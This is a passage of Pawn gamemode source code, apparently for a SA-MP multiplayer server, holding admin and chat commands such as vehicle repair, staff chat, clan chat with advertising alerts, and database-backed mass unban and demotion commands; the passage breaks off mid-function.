			format(sstring, sizeof(sstring), "%s's AVs is: ( {FFFFFF}%d{FFFF00} )",PlayerInfo[target][pName], PINFO[target][pAav]);
		  //new sttrr[256];
		  //format(sttrr,256,"{FFFFFF}Admin %s seen %s's avs.", PINFO[playerid][pName], PINFO[target][pName]);
		  //AdminWarn(sttrr);
			return SendMessage(playerid, COLOR_YELLOW, sstring);
		}
		
		
		
	/*
		if(strcmp(cmd,"/CheckReferral",true)==0)
		{
			if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /CheckReferral <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			if(PINFO[playerid][pAdmin] < PINFO[target][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			new sstring[256];
			format(sstring, sizeof(sstring), "%s's Referral is: ( {FFFFFF}%i{FFFF00} )",PlayerInfo[target][pName], PINFO[target][pID]);
		  new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s seen %s's referral.", PINFO[playerid][pName], PINFO[target][pName]);
		  //AdminWarn(sttrr);
			return SendMessage(playerid, COLOR_YELLOW, sstring);
		}
		*/
		/*
		if(strcmp(cmd, "/myfps", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(GetPlayerPing(playerid) < 70)
				{
					format(string, sizeof(string), "~w~FPS:~g~%d",GetPlayerFPS(playerid));
					GameTextForPlayer(playerid, string, 5000, 3);
				}
				else if(GetPlayerPing(playerid) > 31)
				{
					format(string, sizeof(string), "~w~FPS:~R~%d",GetPlayerFPS(playerid));
					GameTextForPlayer(playerid, string, 5000, 3);
				}
			}
			return 1;
		} */
if(strcmp(cmd, "/afixvehall", true) == 0 || strcmp(cmd, "/adminfixvehall", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
		   if(PlayerInfo[playerid][pAdmin] >= 4)
		   {
			  for(new i = 0; i < MAX_VEHICLES; i++)
				{
					//SetVehicleHealth(i, 1000.0);
					RepairVehicle(i);
				}
				SendClientMessage(playerid,COLOR_GRAD2, "All vehicles fixed.");
			}
			else
			{
				SendClientMessage(playerid,COLOR_GRAD2, "You are not authorized to use that command.");
			}
		}
		return 1;
	}
	if(strcmp(cmd, "/fixvehall", true) == 0 || strcmp(cmd, "/fixcars", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
		   if(PlayerInfo[playerid][pAdmin] >= 6 || PlayerInfo[playerid][pSponser] == 1)
		   {
			  for(new i = 0; i < MAX_VEHICLES; i++)
				{
					//SetVehicleHealth(i, 1000.0);
					RepairVehicle(i);
				}
				SendClientMessage(playerid,COLOR_GRAD2, "All vehicles fixed.");
			 new sttrr[256];
			 format(sttrr,256,"{FFFFFF}Admin %s has fixed all vehicles.", PINFO[playerid][pName]);
			 AdminWarn(sttrr);
			}
			else
			{
				SendClientMessage(playerid,COLOR_GRAD2, "You are not authorized to use that command.");
			}
		}
		return 1;
	}
	/*
	if(strcmp(cmd, "/erepairall", true) == 0 || strcmp(cmd, "/erall", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
		   if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
		   {
			  for(new i = 0; i < MAX_VEHICLES; i++)
				{
					if(EventPlayer[i] == 1)
					{
					//SetVehicleHealth(i, 1000.0);
					RepairVehicle(i);
					}
				}
				SendClientMessage(playerid,COLOR_GRAD2, "All vehicles in your event repaired.");
			}
		}
		return 1;
	}*/
/*
	// By SiNaGaMeR
	if(strcmp(cmd, "/ShowSActivity", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pSlp] == 0 && PINFO[playerid][pAlp] == 0 && PINFO[playerid][pMlp] == 0 && PINFO[playerid][pHlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /ShowSActivity <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			if(PINFO[target][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "Error: He/She is your higher admin than you.");
			if(target == playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't see your StaffActivity, You should use /MySActivity.");
		if(PlayerInfo[target][pHelper] >= 1 && PlayerInfo[target][pLeader] == 0 && PlayerInfo[target][pAdmin] == 0)
		{
		 if(PINFO[target][pActHour] < 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActH]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		 else if(PINFO[target][pActHour] >= 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActH]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		return 1;
		}
		if(PlayerInfo[target][pAdmin] >= 1 && PlayerInfo[target][pLeader] == 0 && PlayerInfo[target][pHelper] == 0)
		{
		 if(PINFO[target][pActHour] < 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		 else if(PINFO[target][pActHour] >= 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		return 1;
		}
		if(PlayerInfo[target][pLeader] >= 1 && PlayerInfo[target][pHelper] == 0 && PlayerInfo[target][pAdmin] == 0)
		{
		 if(PINFO[target][pActHour] < 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		 else if(PINFO[target][pActHour] >= 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		return 1;
		}
		if(PlayerInfo[target][pAdmin] >= 1 && PlayerInfo[target][pHelper] >= 1 && PlayerInfo[target][pLeader] == 0)
		{
		 if(PINFO[target][pActHour] < 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		 else if(PINFO[target][pActHour] >= 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		return 1;
		}
		if(PlayerInfo[target][pAdmin] >= 1 && PlayerInfo[target][pHelper] >= 1 && PlayerInfo[target][pLeader] >= 1)
		{
		if(PINFO[target][pActHour] < 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		 else if(PINFO[target][pActHour] >= 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		return 1;
		}
		if(PlayerInfo[target][pHelper] >= 1 && PlayerInfo[target][pLeader] >= 1 && PlayerInfo[target][pAdmin] == 0)
		{
		 if(PINFO[target][pActHour] < 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActH]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		 else if(PINFO[target][pActHour] >= 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActH]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		return 1;
		}
		if(PlayerInfo[target][pAdmin] >= 1 && PlayerInfo[target][pLeader] >= 1 && PlayerInfo[target][pHelper] == 0)
		{
		 if(PINFO[target][pActHour] < 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		 else if(PINFO[target][pActHour] >= 3)
		 {
		 new stringz[512];
		 new stringzz[512];
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", PlayerInfo[target][pName]);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", PlayerInfo[target][pActHour], PlayerInfo[target][pActMin], PlayerInfo[target][pActSec], PlayerInfo[target][pActA]);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
		 }
		return 1;
		}
		}

*/

/*

		   if(strcmp(cmd, "/reps", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /Reps <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			new sstring[256];
			format(sstring, sizeof(sstring), "%s's Reps : (%i)",PlayerInfo[target][pName], PINFO[target][pRep]);
		  new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s seen %s's reps.", PINFO[playerid][pName], PINFO[target][pName]);
		  //AdminWarn(sttrr);
			return SendMessage(playerid, COLOR_YELLOW, sstring);
		}
	  if(strcmp(cmd, "/boxes", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /Boxes <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			new sstring[256];
			format(sstring, sizeof(sstring), "%s's Boxes : (%i)",PlayerInfo[target][pName], PINFO[target][pBox]);
		  new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s seen %s's boxes.", PINFO[playerid][pName], PINFO[target][pName]);
		  //AdminWarn(sttrr);
			return SendMessage(playerid, COLOR_YELLOW, sstring);
		}
	   if(strcmp(cmd, "/golds", true) == 0)
	   {
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: You are not admin.");
	   if(IsPlayerConnected(playerid))
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SendClientMessage(playerid, COL_SYN, "Syntax: /Golds <PlayerID/PartOfName>");
	   new target = ReturnUser6(tmp);
	   if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
	   new sstring[256];
	   format(sstring, sizeof(sstring), "%s's Golds : (%i)", PlayerInfo[target][pName], PINFO[target][pGold]);
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}Admin %s seen %s's golds.", PINFO[playerid][pName], PINFO[target][pName]);
	   //AdminWarn(sttrr);
	   return SendClientMessage(playerid, COLOR_YELLOW, sstring);
	}
	*/
	
	
	
	
	
	
	
	
	
	
		  if(strcmp(cmd, "/getpos", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /getpos <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			new Float:SinaX;
			new Float:SinaY;
			new Float:SinaZ;
			new Float:SinaFace;
			GetPlayerPos(target, SinaX, SinaY, SinaZ);
			GetPlayerFacingAngle(target, SinaFace);
			new striingg[144];
			format(striingg,sizeof(striingg),"%s's current position: {ffffff}%f, %f, %f (FA: %f)",PINFO[target][pName], SinaX, SinaY, SinaZ, SinaFace);
			SCM(playerid,COLOR_SINARANG,striingg);
			return 1;
		}
	
	
	
	
	
	
	//----------------------------------[AdminChat]-----------------------------------------------
	  if(strcmp(cmd, "/hc", true) == 0 || strcmp(cmd, "/helperchat", true) == 0)
		{
			if(PINFO[playerid][pHelper] < 1) return SCM(playerid,COLOR_GREEN,"Error: Your helper level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
				new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result)) return SCM(playerid,COL_SYN,"Syntax: /hc <Text>");
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
				new arank[64];
				if(PlayerInfo[playerid][pHelper] == 1 && PlayerInfo[playerid][pAdmin] == 0) { arank = "Helper"; }
				else if(PlayerInfo[playerid][pHelper] == 2 && PlayerInfo[playerid][pAdmin] == 0) { arank = "Helper"; }
				else if(PlayerInfo[playerid][pHelper] == 3 && PlayerInfo[playerid][pAdmin] == 0) { arank = "Helper"; }
				else if(PlayerInfo[playerid][pHelper] == 4 && PlayerInfo[playerid][pAdmin] == 0) { arank = "Helper"; }
				else if(PlayerInfo[playerid][pHelper] == 5 && PlayerInfo[playerid][pAdmin] == 0) { arank = "Helpers Supervisor"; }
				else if(PlayerInfo[playerid][pHelper] == 6 && PlayerInfo[playerid][pAdmin] == 0) { arank = "Helpers Supervisor"; }
				else if(PlayerInfo[playerid][pAdmin] == 1) { arank = "Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 2) { arank = "Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 3) { arank = "Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 4) { arank = "Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 5) { arank = "Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 6) { arank = "Supervisor"; }
				else if(PlayerInfo[playerid][pAdmin] == 7) { arank = "Hoster"; }
				else if(PlayerInfo[playerid][pAdmin] == 8) { arank = "Hoster"; }
				else if(PlayerInfo[playerid][pAdmin] == 9) { arank = "Hoster"; } //sssss
				else if(PlayerInfo[playerid][pAdmin] == 10) { arank = "CM Assistant"; }
				else if(PlayerInfo[playerid][pAdmin] == 11) { arank = "CM Manager"; }
				else if(PlayerInfo[playerid][pAdmin] == 12) { arank = "CM Founder"; }
				else if(PlayerInfo[playerid][pAdmin] == 13) { arank = "CM Scripter"; }
				else { arank = "Helpers Supervisor"; }
				format(string, sizeof(string), " {0000FF}%s {33CCFF}%s:{FFFFFF} %s {0000ff}", arank, sendername, result);
				if (PlayerInfo[playerid][pHelper] >= 1 || PlayerInfo[playerid][pAdmin] > 0)
				{
					HBroadCast(COLOR_SINAABI,string,1);
					WriteAdminLog(string);
					printf(" %s: %s", sendername, result);
				}
			}
			return 1;
		   }

			if(strcmp(cmd, "/c", true) == 0 || strcmp(cmd, "/clan", true) == 0 || strcmp(cmd, "/cchat", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
	   new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/C)lan <Clan Chat>");
					return 1;
				}
				if (PlayerInfo[playerid][pClan] > 0)
				{
					new c = PlayerInfo[playerid][pClan];

					if(c > 0)
					{
                        if(PINFO[playerid][pAdmin]<12)CensorText(result);
						if(PlayerInfo[playerid][pcRank] == 6) { format(string, sizeof(string), "{00CD37}Clan Leader {00E6FF}%s:{FFFFFF} %s {00CD37}", sendername, result); }
						else if(PlayerInfo[playerid][pcRank] == 5) { format(string, sizeof(string), "{00CD37}Clan R5 {00E6FF}%s:{FFFFFF} %s {00CD37}", sendername, result); }
						else if(PlayerInfo[playerid][pcRank] == 4) { format(string, sizeof(string), "{00CD37}Clan R4 {00E6FF}%s:{FFFFFF} %s {00CD37}", sendername, result); }
						else if(PlayerInfo[playerid][pcRank] == 3) { format(string, sizeof(string), "{00CD37}Clan R3 {00E6FF}%s:{FFFFFF} %s {00CD37}", sendername, result); }
						else if(PlayerInfo[playerid][pcRank] == 2) { format(string, sizeof(string), "{00CD37}Clan R2 {00E6FF}%s:{FFFFFF} %s {00CD37}", sendername, result); }
						else if(PlayerInfo[playerid][pcRank] == 1) { format(string, sizeof(string), "{00CD37}Clan R1 {00E6FF}%s:{FFFFFF} %s {00CD37}", sendername, result); }
						else { format(string, sizeof(string), " {00CD37}Clan Leader {00E6FF}%s:{FFFFFF} %s {33aa33}", sendername, result); }
						SendClanMessage(PlayerInfo[playerid][pClan], 0x33AA33AA, string);
						if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
					for(new i; i < sizeof(SusWords); i++)
					{
					   if(PINFO[playerid][pAdmin] < 12)
					   {
					            if(strcmp(result, LastMessageWarned[playerid], false))
         {
						if(strfind(result, SusWords[i], true) != -1)
						{
							new name[25];
							GetPlayerName(playerid, name, sizeof(name));
							format(string, sizeof(string), "[AD-{00FF00}/C{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
							SendAdminMMessage(COLOR_SINAGHERMEZ,string);
							strcpy(LastMessageWarned[playerid],result,149);
							break;
							}
						}
						 }
					}


					}
					//printf("%s", string);
					return 1;
				}
				else
				{
					SCM(playerid, COLOR_YELLOW2, "Error: You are not in a clan.");
					return 1;
				}
			}//not connected
			return 1;
		}
		/*
if(strcmp(cmd, "/premiumchat", true) == 0 || strcmp(cmd, "/pc", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
			GetPlayerName(playerid, sendername, sizeof(sendername));
			new length = strlen(cmdtext);
			while ((idx < length) && (cmdtext[idx] <= ' '))
			{
				idx++;
			}
			new offset = idx;
			new result[64];
			while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
			{
				result[idx - offset] = cmdtext[idx];
				idx++;
			}
			result[idx - offset] = EOS;
			if(!strlen(result))
			{
				SendClientMessage(playerid, COL_SYN, "Syntax: /PremiumChat [Premium Chat]");
				return 1;
			}
		  if(PlayerInfo[playerid][pPremiumAccount] == 1)
		  {
			 format(string, sizeof(string),"* [PreLevel1] {FFAF00}%s: {00C0FF}%s", sendername, result);
			 SendPremiumMessage(0x999900FF, string);
		  }
		  else if(PlayerInfo[playerid][pPremiumAccount] == 2)
		  {
			 format(string, sizeof(string),"* [PreLevel2] {FFAF00}%s: {00C0FF}%s", sendername, result);
			 SendPremiumMessage(0xCCFFFFFF, string);
		  }
		  else if(PlayerInfo[playerid][pPremiumAccount] == 3)
		  {
			 format(string, sizeof(string),"* [PreLevel3] {FFAF00}%s: {00C0FF}%s", sendername, result);
			 SendPremiumMessage(0x33AA33AA, string);
		  }
			printf("Premium %s: %s", sendername, result);
		}
		return 1;
	}
	*/
	/*
			if(strcmp(cmd, "/vipchat", true) == 0 || strcmp(cmd, "/vc", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
			GetPlayerName(playerid, sendername, sizeof(sendername));
			new length = strlen(cmdtext);
			while ((idx < length) && (cmdtext[idx] <= ' '))
			{
				idx++;
			}
			new offset = idx;
			new result[64];
			while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
			{
				result[idx - offset] = cmdtext[idx];
				idx++;
			}
			result[idx - offset] = EOS;
			if(!strlen(result))
			{
				SendClientMessage(playerid, COL_SYN, "Syntax: (/vc)chat [vip chat]");
				return 1;
			}
		  if(PlayerInfo[playerid][pVip] == 1)
		  {
			 format(string, sizeof(string),"* [Vip] {FFAF00}%s: {00C0FF}%s", sendername, result);
			 SendVipMessage(0x999900FF, string);
		  }
			printf("Vip %s: %s", sendername, result);
		}
		return 1;
	}
	*/
	
	// By SiNaGaMeR
	if(strcmp(cmd, "/unbanall", true) == 0)
{
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		new query[512];
		mysql_format(handle, query,512,"UPDATE `users` SET pBanned='0' WHERE pBanned!='3'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"DELETE FROM `banneds`");
	   mysql_function_query(handle,query,false,"SendQuery","");
		SCM(playerid, COLOR_Good, "[DATABASE]: All accounts was unbanned.");
	   new sttrr[144];
	   format(sttrr,144,"{FFFFFF}Admin %s was unbanned all accounts.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	return 1;
}


	if(strcmp(cmd, "/demotealladmins", true) == 0)
{
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		new query[ 512 ];
		mysql_format(handle, query,512,"UPDATE `users` SET pAdmin='0' WHERE pName!='%e'", PINFO[playerid][pName]);
	   mysql_function_query(handle,query,false,"SendQuery","");
	   for( new u; u < MAX_PLAYERS; u++ )
	   {
	   if(IsPlayerConnected(u))
	   {
	   if(strcmp(PINFO[u][pName], PINFO[playerid][pName], true))
	   {
	   PINFO[u][pAdmin] = 0;
	   SaveKonVal(u, "pAdmin", 0);
	   }
	   }
	   }
		SCM(playerid, COLOR_Good, "[DATABASE]: All admins was demoted except you.");
	   new sttrr[144];
	   format(sttrr,144,"{FFFFFF}Admin %s was demoted all admins.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	return 1;
}


	if(strcmp(cmd, "/demoteallhelpers", true) == 0)
{
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		new query[ 512 ];
		mysql_format(handle, query,512,"UPDATE `users` SET pHelper='0' WHERE pName!='%e'", PINFO[playerid][pName]);
	   mysql_function_query(handle,query,false,"SendQuery","");
	   for( new u; u < MAX_PLAYERS; u++ )
	   {
	   if(IsPlayerConnected(u))
	   {
	   if(strcmp(PINFO[u][pName], PINFO[playerid][pName], true))
	   {
	   PINFO[u][pHelper] = 0;
	   SaveKonVal(u, "pHelper", 0);
	   }
	   }
	   }
		SCM(playerid, COLOR_Good, "[DATABASE]: All helpers was demoted except you.");
	   new sttrr[144];
	   format(sttrr,144,"{FFFFFF}Admin %s was demoted all helpers.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	return 1;
}



	if(strcmp(cmd, "/demoteallleaders", true) == 0)
{
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		new query[ 512 ];
		mysql_format(handle, query,512,"UPDATE `users` SET pLeader='0' WHERE pName!='%e'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   for( new u; u < MAX_PLAYERS; u++ )
	   {
	   if(IsPlayerConnected(u))
	   {
	   if(strcmp(PINFO[u][pName], PINFO[playerid][pName], true))
	   {
	   PINFO[u][pLeader] = 0;
	   SaveKonVal(u, "pLeader", 0);
	   PINFO[u][pTeam] = 0;
	   SaveKonVal(u, "pTeam", 0);
	   PINFO[u][pRank] = 0;
	   SaveKonVal(u, "pRank", 0);
	   }
	   }
	   }
		SCM(playerid, COLOR_Good, "[DATABASE]: All leaders was demoted except you.");
	   new sttrr[144];
	   format(sttrr,144,"{FFFFFF}Admin %s was demoted all leaders.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	return 1;
}


	if(strcmp(cmd, "/demoteallstaffs", true) == 0)
{
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		new query[ 512 ];
